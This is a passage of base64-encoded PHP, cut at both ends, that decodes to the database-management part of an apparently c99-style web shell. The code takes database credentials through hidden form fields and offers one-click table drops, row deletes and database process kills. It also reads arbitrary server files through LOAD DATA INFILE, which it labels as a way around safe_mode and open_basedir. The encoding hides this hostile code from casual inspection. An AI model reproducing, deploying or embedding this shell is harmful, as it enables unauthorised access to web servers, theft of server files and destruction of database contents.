NlcnRfcSkpIHtlY2hvICIgb3IgPGlucHV0IHR5cGU9XCJyYWRpb1wiIG5hbWU9XCJzcWxfdGJsX2luc2VydF9yYWRpb1wiIHZhbHVlPVwiMlwiIGNoZWNrZWQ+U2F2ZSI7IGVjaG8gIjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF90YmxfaW5zZXJ0X3FcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3RibF9pbnNlcnRfcSkuIlwiPiI7fSAKICAgICAgIGVjaG8gIjxicj48YnI+PGlucHV0IHR5cGU9XCJzdWJtaXRcIiB2YWx1ZT1cIkNvbmZpcm1cIj48L2Zvcm0+IjsgCiAgICAgIH0gCiAgICAgfSAKICAgICBpZiAoJHNxbF90YmxfYWN0ID09ICJicm93c2UiKSAKICAgICB7IAogICAgICAkc3FsX3RibF9scyA9IGFicygkc3FsX3RibF9scyk7IAogICAgICAkc3FsX3RibF9sZSA9IGFicygkc3FsX3RibF9sZSk7IAogICAgICBlY2hvICI8aHIgc2l6ZT1cIjFcIiBub3NoYWRlPiI7IAogICAgICBlY2hvICJQYWdlcyAiOyAKICAgICAgJGIgPSAwOyAKICAgICAgZm9yKCRpPTA7JGk8JG51bXBhZ2VzOyRpKyspIAogICAgICB7IAogICAgICAgaWYgKCgkaSokcGVycGFnZSAhPSAkc3FsX3RibF9scykgb3IgKCRpKiRwZXJwYWdlKyRwZXJwYWdlICE9ICRzcWxfdGJsX2xlKSkge2VjaG8gIjxhIGhyZWY9XCIiLiRzcWxfc3VybC4ic3FsX3RibD0iLnVybGVuY29kZSgkc3FsX3RibCkuIiZzcWxfb3JkZXI9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfb3JkZXIpLiImc3FsX3RibF9scz0iLigkaSokcGVycGFnZSkuIiZzcWxfdGJsX2xlPSIuKCRpKiRwZXJwYWdlKyRwZXJwYWdlKS4iXCI+PHU+Ijt9IAoJZWNobyAkaTsgCglpZiAoKCRpKiRwZXJwYWdlICE9ICRzcWxfdGJsX2xzKSBvciAoJGkqJHBlcnBhZ2UrJHBlcnBhZ2UgIT0gJHNxbF90YmxfbGUpKSB7ZWNobyAiPC91PjwvYT4iO30gCglpZiAoKCRpLzMwID09IHJvdW5kKCRpLzMwKSkgYW5kICgkaSA+IDApKSB7ZWNobyAiPGJyPiI7Cgl9IGVsc2UgewoJZWNobyAiJm5ic3A7Ijt9IAoJfSAKCWlmICgkaSA9PSAwKSB7ZWNobyAiZW1wdHkiOwoJfSAKCWVjaG8gIjxmb3JtIG1ldGhvZD1cIkdFVFwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cImFjdFwiIHZhbHVlPVwic3FsXCI+Cgk8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJzcWxfZGJcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2RiKS4iXCI+Cgk8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJzcWxfbG9naW5cIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2xvZ2luKS4iXCI+Cgk8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJzcWxfcGFzc3dkXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wYXNzd2QpLiJcIj4KCTxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF9zZXJ2ZXJcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZlcikuIlwiPgoJPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX3BvcnRcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3BvcnQpLiJcIj4KCTxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF90YmxcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3RibCkuIlwiPgoJPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX29yZGVyXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9vcmRlcikuIlwiPkZyb206IDxpbnB1dCB0eXBlPVwidGV4dFwiIG5hbWU9XCJzcWxfdGJsX2xzXCIgdmFsdWU9XCIiLiRzcWxfdGJsX2xzLiJcIj4gVG86IDxpbnB1dCB0eXBlPVwidGV4dFwiIG5hbWU9XCJzcWxfdGJsX2xlXCIgdmFsdWU9XCIiLiRzcWxfdGJsX2xlLiJcIj4gPGlucHV0IHR5cGU9XCJzdWJtaXRcIiB2YWx1ZT1cIlZpZXdcIj48L2Zvcm0+IjsgCgllY2hvICI8YnI+PGZvcm0gbWV0aG9kPVwiUE9TVFwiPjxUQUJMRSBjZWxsU3BhY2luZz0wIGJvcmRlckNvbG9yRGFyaz0jOTkwMDAwIGNlbGxQYWRkaW5nPTUgd2lkdGg9XCIxJVwiIGJnY29sb3I9dHJhbnNwYXJlbnQgYm9yZGVyQ29sb3JMaWdodD0jYzBjMGMwIGJvcmRlcj0xPiI7IAoJZWNobyAiPHRyPiI7IAoJZWNobyAiPHRkPjxpbnB1dCB0eXBlPVwiY2hlY2tib3hcIiBuYW1lPVwiYm94cm93X2FsbFwiIHZhbHVlPVwiMVwiPjwvdGQ+IjsgCglmb3IgKCRpPTA7JGk8bXlzcWxfbnVtX2ZpZWxkcygkcmVzdWx0KTskaSsrKSAKCXsgCgkkdiA9IG15c3FsX2ZpZWxkX25hbWUoJHJlc3VsdCwkaSk7IAoJaWYgKCRlWzBdID09ICJhIikgeyRzID0gImQiOyAkbSA9ICJhc2MiO30gZWxzZSB7CgkkcyA9ICJhIjsgJG0gPSAiZGVzYyI7fSAKCWVjaG8gIjx0ZD4iOyAKCWlmIChlbXB0eSgkZVswXSkpIHskZVswXSA9ICJhIjt9IAoJaWYgKCRlWzFdICE9ICR2KSB7ZWNobyAiPGEgaHJlZj1cIiIuJHNxbF9zdXJsLiJzcWxfdGJsPSIuJHNxbF90YmwuIiZzcWxfdGJsX2xlPSIuJHNxbF90YmxfbGUuIiZzcWxfdGJsX2xzPSIuJHNxbF90YmxfbHMuIiZzcWxfb3JkZXI9Ii4kZVswXS4iJTIwIi4kdi4iXCI+Ii4kdi4iPC9hPiI7Cgl9IGVsc2UgewoJZWNobyAiIi4kdi4iPGEgaHJlZj1cIiIuJHNxbF9zdXJsLiJzcWxfdGJsPSIuJHNxbF90YmwuIiZzcWxfdGJsX2xlPSIuJHNxbF90YmxfbGUuIiZzcWxfdGJsX2xzPSIuJHNxbF90YmxfbHMuIiZzcWxfb3JkZXI9Ii4kcy4iJTIwIi4kdi4iXCI+PGltZyBzcmM9XCIiLiRzdXJsLiJ4dHV4PWltZyZpbWc9c29ydF8iLiRtLiJcIiBoZWlnaHQ9XCI5XCIgd2lkdGg9XCIxNFwiIGFsdD1cIiIuJG0uIlwiPjwvYT4iO30gCgllY2hvICI8L3RkPiI7IAoJfSAKCWVjaG8gIjx0ZD48Zm9udCBjb2xvcj1cInJlZFwiPkFjdGlvbjwvZm9udD48L3RkPiI7IAoJZWNobyAiPC90cj4iOyAKCXdoaWxlICgkcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCwgTVlTUUxfQVNTT0MpKSAKCXsgCgllY2hvICI8dHI+IjsgCgkkdyA9ICIiOyAKCSRpID0gMDsgCglmb3JlYWNoICgkcm93IGFzICRrPT4kdikgeyRuYW1lID0gbXlzcWxfZmllbGRfbmFtZSgkcmVzdWx0LCRpKTsgJHcgLj0gIiBgIi4kbmFtZS4iYCA9ICciLmFkZHNsYXNoZXMoJHYpLiInIEFORCI7ICRpKys7fSAKCWlmIChjb3VudCgkcm93KSA+IDApIHskdyA9IHN1YnN0cigkdywwLHN0cmxlbigkdyktMyk7fSAKCWVjaG8gIjx0ZD48aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgbmFtZT1cImJveHJvd1tdXCIgdmFsdWU9XCIiLiR3LiJcIj48L3RkPiI7IAoJJGkgPSAwOyAKCWZvcmVhY2ggKCRyb3cgYXMgJGs9PiR2KSAKCXsKICAgICAgICAkdiA9IGh0bWxzcGVjaWFsY2hhcnMoJHYpOyAKICAgICAgICBpZiAoJHYgPT0gIiIpIHskdiA9ICI8Zm9udCBjb2xvcj1cInJlZFwiPk5VTEw8L2ZvbnQ+Ijt9IAogICAgICAgIGVjaG8gIjx0ZD4iLiR2LiI8L3RkPiI7IAogICAgICAgICRpKys7IAogICAgICAgfSAKICAgICAgIGVjaG8gIjx0ZD4iOyAKICAgICAgIGVjaG8gIjxhIGhyZWY9XCIiLiRzcWxfc3VybC4ic3FsX2FjdD1xdWVyeSZzcWxfdGJsPSIudXJsZW5jb2RlKCRzcWxfdGJsKS4iJnNxbF90YmxfbHM9Ii4kc3FsX3RibF9scy4iJnNxbF90YmxfbGU9Ii4kc3FsX3RibF9sZS4iJnNxbF9xdWVyeT0iLnVybGVuY29kZSgiREVMRVRFIEZST00gYCIuJHNxbF90YmwuImAgV0hFUkUiLiR3LiIgTElNSVQgMTsiKS4iXCI+RGVsZXRlPC9hPiAmIzEyNDsiOyAKICAgICAgIGVjaG8gIjxhIGhyZWY9XCIiLiRzcWxfc3VybC4ic3FsX3RibF9hY3Q9aW5zZXJ0JnNxbF90Ymw9Ii51cmxlbmNvZGUoJHNxbF90YmwpLiImc3FsX3RibF9scz0iLiRzcWxfdGJsX2xzLiImc3FsX3RibF9sZT0iLiRzcWxfdGJsX2xlLiImc3FsX3RibF9pbnNlcnRfcT0iLnVybGVuY29kZSgkdykuIlwiPiBFZGl0PC9hPiI7IAogICAgICAgZWNobyAiPC90ZD4iOyAKICAgICAgIGVjaG8gIjwvdHI+IjsgCiAgICAgIH0gCiAgICAgIG15c3FsX2ZyZWVfcmVzdWx0KCRyZXN1bHQpOyAKICAgICAgZWNobyAiPC90YWJsZT48aHIgc2l6ZT1cIjFcIiBub3NoYWRlPjxwIGFsaWduPVwibGVmdFwiPiYjOTQ7PHNlbGVjdCBuYW1lPVwic3FsX2FjdFwiPiI7IAogICAgICBlY2hvICI8b3B0aW9uIHZhbHVlPVwiXCI+V2l0aCBzZWxlY3RlZDo8L29wdGlvbj4iOwogICAgICBlY2hvICI8b3B0aW9uIHZhbHVlPVwiZGVsZXRlcm93XCI+RGVsZXRlPC9vcHRpb24+IjsKICAgICAgZWNobyAiPC9zZWxlY3Q+Jm5ic3A7PGlucHV0IHR5cGU9XCJzdWJtaXRcIiB2YWx1ZT1cIkNvbmZpcm1cIj48L2Zvcm0+PC9wPiI7IAogICAgIH0gCgl9IGVsc2UgeyAKICAgICAkcmVzdWx0ID0gbXlzcWxfcXVlcnkoIlNIT1cgVEFCTEUgU1RBVFVTIiwgJHNxbF9zb2NrKTsKICAgICBpZiAoISRyZXN1bHQpIHtlY2hvIG15c3FsX3NtYXJ0ZXJyb3IoKTsKCX0gZWxzZSB7IAplY2hvICI8YnI+PGZvcm0gbWV0aG9kPVwiUE9TVFwiPjxUQUJMRSBjZWxsU3BhY2luZz0wIGJvcmRlckNvbG9yRGFyaz0jOTkwMDAwIGNlbGxQYWRkaW5nPTUgd2lkdGg9XCIxMDAlXCIgYmdjb2xvcj10cmFuc3BhcmVudCBib3JkZXJDb2xvckxpZ2h0PSNjMGMwYzAgYm9yZGVyPTE+PHRyPjx0ZD48aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgbmFtZT1cImJveHRibF9hbGxcIiB2YWx1ZT1cIjFcIj48L3RkPjx0ZD48Y2VudGVyPlRhYmxlPC9jZW50ZXI+PC90ZD48dGQ+Um93czwvdGQ+PHRkPlR5cGU8L3RkPjx0ZD5DcmVhdGVkPC90ZD48dGQ+TW9kaWZpZWQ8L3RkPjx0ZD5TaXplPC90ZD48dGQ+QWN0aW9uPC90ZD48L3RyPiI7IAogICAgICAkaSA9IDA7IAogICAgICAkdHNpemUgPSAkdHJvd3MgPSAwOyAKICAgICAgd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0LCBNWVNRTF9BU1NPQykpIAogICAgICB7IAogICAgICAgJHRzaXplICs9ICRyb3dbIkRhdGFfbGVuZ3RoIl07IAogICAgICAgJHRyb3dzICs9ICRyb3dbIlJvd3MiXTsgCiAgICAgICAkc2l6ZSA9IHZpZXdfc2l6ZSgkcm93WyJEYXRhX2xlbmd0aCJdKTsgCiAgICAgICBlY2hvICI8dHI+IjsgCiAgICAgICBlY2hvICI8dGQ+PGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJib3h0YmxbXVwiIHZhbHVlPVwiIi4kcm93WyJOYW1lIl0uIlwiPjwvdGQ+IjsgCiAgICAgICBlY2hvICI8dGQ+IDxhIGhyZWY9XCIiLiRzcWxfc3VybC4ic3FsX3RibD0iLnVybGVuY29kZSgkcm93WyJOYW1lIl0pLiJcIj4iLiRyb3dbIk5hbWUiXS4iPC9hPiA8L3RkPiI7IAogICAgICAgZWNobyAiPHRkPiIuJHJvd1siUm93cyJdLiI8L3RkPiI7IAogICAgICAgZWNobyAiPHRkPiIuJHJvd1siVHlwZSJdLiI8L3RkPiI7IAogICAgICAgZWNobyAiPHRkPiIuJHJvd1siQ3JlYXRlX3RpbWUiXS4iPC90ZD4iOyAKICAgICAgIGVjaG8gIjx0ZD4iLiRyb3dbIlVwZGF0ZV90aW1lIl0uIjwvdGQ+IjsgCiAgICAgICBlY2hvICI8dGQ+Ii4kc2l6ZS4iPC90ZD4iOyAKICAgICAgIGVjaG8gIjx0ZD4gPGEgaHJlZj1cIiIuJHNxbF9zdXJsLiJzcWxfYWN0PXF1ZXJ5JnNxbF9xdWVyeT0iLnVybGVuY29kZSgiREVMRVRFIEZST00gYCIuJHJvd1siTmFtZSJdLiJgIikuIlwiPkVtcHR5PC9hPiYjMTI0OzxhIGhyZWY9XCIiLiRzcWxfc3VybC4ic3FsX2FjdD1xdWVyeSZzcWxfcXVlcnk9Ii51cmxlbmNvZGUoIkRST1AgVEFCTEUgYCIuJHJvd1siTmFtZSJdLiJgIikuIlwiPkRyb3A8L2E+JiMxMjQ7PGEgaHJlZj1cIiIuJHNxbF9zdXJsLiJzcWxfdGJsX2FjdD1pbnNlcnQmc3FsX3RibD0iLiRyb3dbIk5hbWUiXS4iXCI+SW5zZXJ0PC9hPiA8L3RkPiI7IAogICAgICAgZWNobyAiPC90cj4iOyAKICAgICAgICRpKys7IAogICAgICB9IAogICAgICBlY2hvICI8dHIgYmdjb2xvcj1cInRyYW5zcGFyZW50XCI+IjsgCiAgICAgIGVjaG8gIjx0ZD48Y2VudGVyPis8L2NlbnRlcj48L3RkPiI7IAogICAgICBlY2hvICI8dGQ+PGNlbnRlcj4iLiRpLiIgdGFibGUocyk8L2NlbnRlcj48L3RkPiI7IAogICAgICBlY2hvICI8dGQ+Ii4kdHJvd3MuIjwvdGQ+IjsgCiAgICAgIGVjaG8gIjx0ZD4iLiRyb3dbMV0uIjwvdGQ+IjsgCiAgICAgIGVjaG8gIjx0ZD4iLiRyb3dbMTBdLiI8L3RkPiI7IAogICAgICBlY2hvICI8dGQ+Ii4kcm93WzExXS4iPC90ZD4iOyAKICAgICAgZWNobyAiPHRkPiIudmlld19zaXplKCR0c2l6ZSkuIjwvdGQ+IjsgCiAgICAgIGVjaG8gIjx0ZD48L3RkPiI7IAogICAgICBlY2hvICI8L3RyPiI7IAogICAgICBlY2hvICI8L3RhYmxlPjxociBzaXplPVwiMVwiIG5vc2hhZGU+PHAgYWxpZ249XCJyaWdodFwiPiYjOTQ7PHNlbGVjdCBuYW1lPVwic3FsX2FjdFwiPiI7IAogICAgICBlY2hvICI8b3B0aW9uIHZhbHVlPVwiXCI+V2l0aCBzZWxlY3RlZDo8L29wdGlvbj4iOyAKICAgICAgZWNobyAiPG9wdGlvbiB2YWx1ZT1cInRibGRyb3BcIj5Ecm9wPC9vcHRpb24+IjsgCiAgICAgIGVjaG8gIjxvcHRpb24gdmFsdWU9XCJ0YmxlbXB0eVwiPkVtcHR5PC9vcHRpb24+IjsgCiAgICAgIGVjaG8gIjxvcHRpb24gdmFsdWU9XCJ0YmxkdW1wXCI+RHVtcDwvb3B0aW9uPiI7IAogICAgICBlY2hvICI8b3B0aW9uIHZhbHVlPVwidGJsY2hlY2tcIj5DaGVjayB0YWJsZTwvb3B0aW9uPiI7IAogICAgICBlY2hvICI8b3B0aW9uIHZhbHVlPVwidGJsb3B0aW1pemVcIj5PcHRpbWl6ZSB0YWJsZTwvb3B0aW9uPiI7IAogICAgICBlY2hvICI8b3B0aW9uIHZhbHVlPVwidGJscmVwYWlyXCI+UmVwYWlyIHRhYmxlPC9vcHRpb24+IjsgCiAgICAgIGVjaG8gIjxvcHRpb24gdmFsdWU9XCJ0YmxhbmFseXplXCI+QW5hbHl6ZSB0YWJsZTwvb3B0aW9uPiI7IAogICAgICBlY2hvICI8L3NlbGVjdD4mbmJzcDs8aW5wdXQgdHlwZT1cInN1Ym1pdFwiIHZhbHVlPVwiQ29uZmlybVwiPjwvZm9ybT48L3A+IjsgCiAgICAgIG15c3FsX2ZyZWVfcmVzdWx0KCRyZXN1bHQpOyAKICAgICB9IAogICAgfSAKICAgfSAKICB9IAogfSBlbHNlIHsgCiAkeHR1eHMgPSBhcnJheSgiIiwibmV3ZGIiLCJzZXJ2ZXJzdGF0dXMiLCJzZXJ2ZXJ2YXJzIiwicHJvY2Vzc2VzIiwiZ2V0ZmlsZSIpOyAKICAgaWYgKGluX2FycmF5KCRzcWxfYWN0LCR4dHV4cykpIHsKCT8+PHRhYmxlIGJvcmRlcj0iMCIgd2lkdGg9IjEwMCUiIGhlaWdodD0iMSI+PHRyPjx0ZCB3aWR0aD0iMzAlIiBoZWlnaHQ9IjEiPkNyZWF0ZSBuZXcgREI6Cgk8Zm9ybSBhY3Rpb249Ijw/cGhwIGVjaG8gJHN1cmw7ID8+Ij4KCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImFjdCIgdmFsdWU9InNxbCI+Cgk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfYWN0IiB2YWx1ZT0ibmV3ZGIiPgoJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX2xvZ2luIiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfbG9naW4pOyA/PiI+Cgk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfcGFzc3dkIiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfcGFzc3dkKTsgPz4iPgoJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3NlcnZlciIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZlcik7ID8+Ij4KCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9wb3J0IiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfcG9ydCk7ID8+Ij4KCTxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJzcWxfbmV3ZGIiIHNpemU9IjIwIj4mbmJzcDs8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iQ3JlYXRlIj48L2Zvcm0+PC90ZD4KCTx0ZCB3aWR0aD0iMzAlIiBoZWlnaHQ9IjEiPlZpZXcgRmlsZTo8Zm9ybSBhY3Rpb249Ijw/cGhwIGVjaG8gJHN1cmw7ID8+Ij4KCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImFjdCIgdmFsdWU9InNxbCI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX2FjdCIgdmFsdWU9ImdldGZpbGUiPgoJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX2xvZ2luIiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfbG9naW4pOyA/PiI+Cgk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfcGFzc3dkIiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfcGFzc3dkKTsgPz4iPgoJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3NlcnZlciIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZlcik7ID8+Ij4KCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9wb3J0IiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfcG9ydCk7ID8+Ij4KCTxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJzcWxfZ2V0ZmlsZSIgc2l6ZT0iMzAiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9nZXRmaWxlKTsgPz4iPgoJPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkdldCI+PC9mb3JtPjwvdGQ+Cgk8dGQgd2lkdGg9IjMwJSIgaGVpZ2h0PSIxIj48L3RkPjwvdHI+PHRyPjx0ZCB3aWR0aD0iMzAlIiBoZWlnaHQ9IjEiPjwvdGQ+PHRkIHdpZHRoPSIzMCUiIGhlaWdodD0iMSI+PC90ZD48dGQgd2lkdGg9IjMwJSIgaGVpZ2h0PSIxIj48L3RkPjwvdHI+Cgk8L3RhYmxlPjw/cGhwCgl9IAoJaWYgKCFlbXB0eSgkc3FsX2FjdCkpIAoJeyAKCWVjaG8gIjxociBzaXplPVwiMVwiIG5vc2hhZGU+IjsgCglpZiAoJHNxbF9hY3QgPT0gIm5ld2RiIikgCgl7IAoJZWNobyAiIjsgCglpZiAoKG15c3FsX2NyZWF0ZV9kYiAoJHNxbF9uZXdkYikpIGFuZCAoIWVtcHR5KCRzcWxfbmV3ZGIpKSkge2VjaG8gIkRCIFwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfbmV3ZGIpLiJcIiBoYXMgYmVlbiBjcmVhdGVkIHdpdGggc3VjY2VzcyE8YnI+IjsKCX0gZWxzZSB7CgllY2hvICJDYW4ndCBjcmVhdGUgREIgXCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9uZXdkYikuIlwiLjxicj5SZWFzb246ICIubXlzcWxfc21hcnRlcnJvcigpO30gCgl9IAoJaWYgKCRzcWxfYWN0ID09ICJzZXJ2ZXJzdGF0dXMiKSAKCXsgCgkkcmVzdWx0ID0gbXlzcWxfcXVlcnkoIlNIT1cgU1RBVFVTIiwgJHNxbF9zb2NrKTsgCgllY2hvICI8Y2VudGVyPlNlcnZlci1zdGF0dXMgdmFyaWFibGVzOjxicj48YnI+IjsgCgllY2hvICI8VEFCTEUgY2VsbFNwYWNpbmc9MCBjZWxsUGFkZGluZz0wIGJnY29sb3I9dHJhbnNwYXJlbnQgYm9yZGVyQ29sb3JMaWdodD0jMzMzMzMzIGJvcmRlcj0xPjx0ZD5OYW1lPC90ZD48dGQ+VmFsdWU8L3RkPjwvdHI+IjsgCiAgICAgd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0LCBNWVNRTF9OVU0pKSB7ZWNobyAiPHRyPjx0ZD4iLiRyb3dbMF0uIjwvdGQ+PHRkPiIuJHJvd1sxXS4iPC90ZD48L3RyPiI7fSAKICAgICBlY2hvICI8L3RhYmxlPjwvY2VudGVyPiI7IAogICAgIG15c3FsX2ZyZWVfcmVzdWx0KCRyZXN1bHQpOyAKICAgIH0gCiAgICBpZiAoJHNxbF9hY3QgPT0gInNlcnZlcnZhcnMiKSAKICAgIHsgCiAgICAgJHJlc3VsdCA9IG15c3FsX3F1ZXJ5KCJTSE9XIFZBUklBQkxFUyIsICRzcWxfc29jayk7IAogICAgIGVjaG8gIjxjZW50ZXI+U2VydmVyIHZhcmlhYmxlczo8YnI+PGJyPiI7IAogICAgIGVjaG8gIjxUQUJMRSBjZWxsU3BhY2luZz0wIGNlbGxQYWRkaW5nPTAgYmdjb2xvcj10cmFuc3BhcmVudCBib3JkZXJDb2xvckxpZ2h0PSMzMzMzMzMgYm9yZGVyPTE+PHRkPk5hbWU8L3RkPjx0ZD5WYWx1ZTwvdGQ+PC90cj4iOyAKICAgICB3aGlsZSAoJHJvdyA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXN1bHQsIE1ZU1FMX05VTSkpIHtlY2hvICI8dHI+PHRkPiIuJHJvd1swXS4iPC90ZD48dGQ+Ii4kcm93WzFdLiI8L3RkPjwvdHI+Ijt9IAogICAgIGVjaG8gIjwvdGFibGU+IjsKICAgICBteXNxbF9mcmVlX3Jlc3VsdCgkcmVzdWx0KTsgCiAgICB9IAogICAgaWYgKCRzcWxfYWN0ID09ICJwcm9jZXNzZXMiKSAKICAgIHsgCiAgICAgaWYgKCFlbXB0eSgka2lsbCkpIHskcXVlcnkgPSAiS0lMTCAiLiRraWxsLiI7IjsgJHJlc3VsdCA9IG15c3FsX3F1ZXJ5KCRxdWVyeSwgJHNxbF9zb2NrKTsgZWNobyAiS2lsbGluZyBwcm9jZXNzICMiLiRraWxsLiIuLi4gb2suIGhlIGlzIGRlYWQsIGFtZW4uIjt9IAogICAgICRyZXN1bHQgPSBteXNxbF9xdWVyeSgiU0hPVyBQUk9DRVNTTElTVCIsICRzcWxfc29jayk7IAogICAgIGVjaG8gIjxjZW50ZXI+UHJvY2Vzc2VzOjxicj48YnI+IjsgCiAgICAgZWNobyAiPFRBQkxFIGNlbGxTcGFjaW5nPTAgY2VsbFBhZGRpbmc9MiBiZ2NvbG9yPXRyYW5zcGFyZW50IGJvcmRlckNvbG9yTGlnaHQ9IzMzMzMzMyBib3JkZXI9MT48dGQ+SUQ8L3RkPjx0ZD5VU0VSPC90ZD48dGQ+SE9TVDwvdGQ+PHRkPkRCPC90ZD48dGQ+Q09NTUFORDwvdGQ+PHRkPlRJTUU8L3RkPjx0ZD5TVEFURTwvdGQ+PHRkPklORk88L3RkPjx0ZD5BY3Rpb248L3RkPjwvdHI+IjsgCiAgICAgd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0LCBNWVNRTF9OVU0pKSB7IGVjaG8gIjx0cj48dGQ+Ii4kcm93WzBdLiI8L3RkPjx0ZD4iLiRyb3dbMV0uIjwvdGQ+PHRkPiIuJHJvd1syXS4iPC90ZD48dGQ+Ii4kcm93WzNdLiI8L3RkPjx0ZD4iLiRyb3dbNF0uIjwvdGQ+PHRkPiIuJHJvd1s1XS4iPC90ZD48dGQ+Ii4kcm93WzZdLiI8L3RkPjx0ZD4iLiRyb3dbN10uIjwvdGQ+PHRkPjxhIGhyZWY9XCIiLiRzcWxfc3VybC4ic3FsX2FjdD1wcm9jZXNzZXMma2lsbD0iLiRyb3dbMF0uIlwiPjx1PktpbGw8L3U+PC9hPjwvdGQ+PC90cj4iO30gCiAgICAgZWNobyAiPC90YWJsZT4iOyAKICAgICBteXNxbF9mcmVlX3Jlc3VsdCgkcmVzdWx0KTsgCiAgICB9IAogICAgaWYgKCRzcWxfYWN0ID09ICJnZXRmaWxlIikgCiAgICB7IAogICAgICR0bXBkYiA9ICRzcWxfbG9naW4uIl90bXBkYiI7IAogICAgICRzZWxlY3QgPSBteXNxbF9zZWxlY3RfZGIoJHRtcGRiKTsgCiAgICAgaWYgKCEkc2VsZWN0KSB7bXlzcWxfY3JlYXRlX2RiKCR0bXBkYik7ICRzZWxlY3QgPSBteXNxbF9zZWxlY3RfZGIoJHRtcGRiKTsgJGNyZWF0ZWQgPSAhISRzZWxlY3Q7fSAKICAgICBpZiAoJHNlbGVjdCkgCiAgICAgeyAKICAgICAgJGNyZWF0ZWQgPSBGQUxTRTsgCiAgICAgIG15c3FsX3F1ZXJ5KCJDUkVBVEUgVEFCTEUgYHRtcF9maWxlYCAoIGBWaWV3aW5nIHRoZSBmaWxlIGluIHNhZmVfbW9kZStvcGVuX2Jhc2VkaXJgIExPTkdCTE9CIE5PVCBOVUxMICk7Iik7IAogICAgICBteXNxbF9xdWVyeSgiTE9BRCBEQVRBIElORklMRSBcIiIuYWRkc2xhc2hlcygkc3FsX2dldGZpbGUpLiJcIiBJTlRPIFRBQkxFIHRtcF9maWxlIik7IAogICAgICAkcmVzdWx0ID0gbXlzcWxfcXVlcnkoIlNFTEVDVCAqIEZST00gdG1wX2ZpbGU7Iik7IAogICAgICBpZiAoISRyZXN1bHQpIHtlY2hvICJFcnJvciBpbiByZWFkaW5nIGZpbGUgKHBlcm1pc2lvbiBkZW5pZWQpISI7Cgl9IGVsc2UgeyAKICAgICAgIGZvciAoJGk9MDskaTxteXNxbF9udW1fZmllbGRzKCRyZXN1bHQpOyRpKyspIHskbmFtZSA9IG15c3FsX2ZpZWxkX25hbWUoJHJlc3VsdCwkaSk7fSAKICAgICAgICRmID0gIiI7IAogICAgICAgd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0LCBNWVNRTF9BU1NPQykpIHskZiAuPSBqb2luICgiXHJcbiIsJHJvdyk7fSAKICAgICAgIGlmIChlbXB0eSgkZikpIHtlY2hvICJGaWxlIFwiIi4kc3FsX2dldGZpbGUuIlwiIGRvZXMgbm90IGV4aXN0cyBvciBlbXB0eS